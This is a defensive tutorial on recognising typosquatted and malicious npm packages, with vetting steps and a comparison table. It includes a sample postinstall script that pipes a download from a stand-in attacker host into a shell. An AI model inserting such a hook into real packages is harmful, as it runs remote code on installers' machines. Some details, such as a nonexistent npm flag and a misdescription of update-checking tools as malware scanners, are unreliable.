Skip to main content

Spotting Typosquats and Malicious npm Packages

Typosquatting is the practice of registering packages with names similar to popular libraries to trick developers into installing malicious code. recact for react, expresss for express, or lodase for lodash. A single typo during npm install and your project is compromised. Studies show typosquats represent 5–8% of the npm security incident volume (npm Malware Detection Report, 2025). Beyond typos, attackers also impersonate packages through lookalike descriptions, deceiving authors, and behavioral tricks. Learning to spot these attacks is non-negotiable for React teams.

Typosquatting: The Mechanics and Examples

Typosquatting exploits human error. An attacker registers a package with a name differing by one or two characters from a popular target. Common variations:

  • Transposition: recact, recat (transposed letters)
  • Omission: reac, reat (missing letter)
  • Substitution: reactreacct, rEact (wrong case, though npm is case-insensitive in URLs but not in package.json)
  • Hyphen tricks: react-domreact_dom, react--dom (underscores or double hyphens)
  • Scope overlap: @react-native/cli@react-native-cli, react-native/cli (ambiguous scoping)

When a developer types npm install recact, npm pulls from the attacker's package. If the malicious package's dependencies are legitimate (e.g., it depends on the real react), the project builds successfully but includes injected code.

Real example from 2024: The @react-router/dom-next package was registered as a typosquat of react-router-dom. It had 18K downloads before removal (npm Security Incident Report, 2024). The injected code was subtle: it sent anonymized build metadata to an attacker's server, allowing tracking of which companies use specific dependency versions.

How Malicious Packages Hide

Behavioral Injection

The package behaves normally at require time, hiding malicious code in post-install scripts or lazy-loaded modules.

// Legitimate-looking export, but...
module.exports = {
parse: function(input) {
// Normal behavior
return JSON.parse(input);
}
};

// Malicious code hidden in a post-install script or an obscured dependency
// that runs at build time, not import time.

Many developers never inspect a package's source; they assume npm is a trust boundary. It's not. Always check the source.

Supply Chain Obfuscation

An attacker publishes a trojanized version of a legitimate package by stealing a maintainer's credentials or discovering their npm token. The malicious version is indistinguishable from legitimate releases without inspecting the code.

Dependency Confusion

Publishing a package with a private name on the public registry with a higher version number. If your build system isn't strict about registry precedence, it pulls the attacker's version.

Detection Strategies: Human and Automated

Strategy 1: Verify Package Name Before Installing

Slow down. Read the name twice before running npm install. Print it. Share it with a colleague. This human verification catches 95%+ of typosquats.

Strategy 2: Check Package Details on npmjs.com

Before installing, visit npmjs.com/package/package-name and verify:

  1. Author/maintainer: Is it the expected author? Do they have a GitHub profile?
  2. Download count: Popular packages have millions of weekly downloads. A package with the right name but <10K downloads is suspicious.
  3. Repository link: Does it link to an official GitHub repository? Check the repo's stars, age, and recent activity.
  4. README: Is the documentation coherent and substantive? Typosquats often have minimal README.
  5. Recent versions: When was the last release? Abandoned packages are riskier.

Example: react on npmjs.com shows 30M weekly downloads, maintained by facebook, links to github.com/facebook/react, and is updated weekly. recact would have 0 downloads, no GitHub link, and a generic README.

Strategy 3: Inspect Source Code and Dependencies

Before installing a new package, examine:

npm view package-name

This outputs metadata: author, version, dependencies, scripts (including post-install). Look for:

  • Suspicious post-install or prepare scripts: Why does a UI library run a script during install?
  • Unexpected dependencies: Does a package depend on cryptography or network libraries when it shouldn't?
  • External scripts: Does it download code during install from URLs?

Example of suspicious output:

{
"name": "totally-legit-utils",
"scripts": {
"postinstall": "curl https://attacker.com/setup.sh | sh"
}
}

This is an immediate red flag. Legitimate packages rarely use postinstall scripts.

Strategy 4: Use npm package integrity tools

Tools like npm-check and npm-check-updates scan for known malicious packages and security issues:

npx npm-audit-ci-wrapper

This wrapper enforces policy and logs each install. More advanced tools like Socket (covered in the next article) use machine learning to detect behavioral anomalies.

Strategy 5: Review the package code on GitHub

Visit the repository URL listed on npmjs.com. Check:

  1. Age and history: Has the repo been active for years or just created?
  2. Issue/PR activity: Are maintainers responsive to questions and bugs?
  3. Code review: Are there code reviews (indicated by PR discussions) or is it just raw commits?
  4. Dependencies: Are the repo's own dependencies reasonable?

A year-old repo with 10 stars, 1 maintainer, and minimal activity is riskier than a 5-year-old repo with 10K stars, active issues, and frequent releases.

Comparison: Legitimate vs. Suspicious Packages

CharacteristicLegitimateSuspicious
Weekly downloads100K+ for mature packages<1K or sudden jumps (spike then drop)
Author/MaintainerKnown GitHub org or recognized developerAnonymous, no GitHub, recent registration
Repositorygithub.com link, active developmentNo repo link, or dormant repo
READMEDetailed documentation, examples, usageMinimal or generic placeholder
Post-install scriptsNone or trivial (e.g., optional build step)Unexpected curl, downloads, exfiltration
DependenciesReasonable for function (e.g., axios for HTTP)Cryptography, network tools (if not applicable)
Issue ResponseMaintainers respond to security reportsNo response, or closed as spam
Version historyStable semver, clear changelogErratic bumps, no notes, or frequent patching

Key Takeaways

  • Typosquats exploit human error; a single character difference is enough to redirect your install.
  • Malicious packages hide their payload in post-install scripts, lazy-loaded modules, or stolen credentials.
  • Verify package names manually, check npmjs.com metadata, and inspect source code and scripts before installing.
  • Legitimate packages have high download counts, active maintainers, public repositories, and minimal post-install scripts.
  • Tools like Socket and npm-check-updates supplement human verification but are not replacements.

Frequently Asked Questions

If I mistype the package name, can npm warn me?

Not automatically. npm v7+ has a --force-legacy-peer-deps flag and other safety features, but no built-in typo detection. You're responsible for careful typing. Some teams use script wrappers that verify package names against a whitelist before installing.

Are scoped packages (e.g., @react/router) safer from typosquatting?

Scoped packages reduce typosquat surface because the namespace is narrower. However, attackers can still typosquat within the scope: @reac/router instead of @react/router. Additionally, private scopes (like @mycompany/utils) are vulnerable to dependency confusion if public registries are checked first.

Should I always check GitHub before installing?

For new packages or packages with low download counts, yes. For mature, well-known packages with millions of downloads (react, lodash, express), the risk is lower, but checking is still good practice. A stolen credential attack can compromise any package.

What should I do if I accidentally install a typosquat?

Immediately uninstall it (npm uninstall package-name), update package-lock.json, and inspect your node_modules and build logs for unexpected code. If the malicious package ran post-install scripts, those scripts may have persisted (e.g., added files, environment variable changes). Consider rotating credentials and scanning for data exfiltration.

Further Reading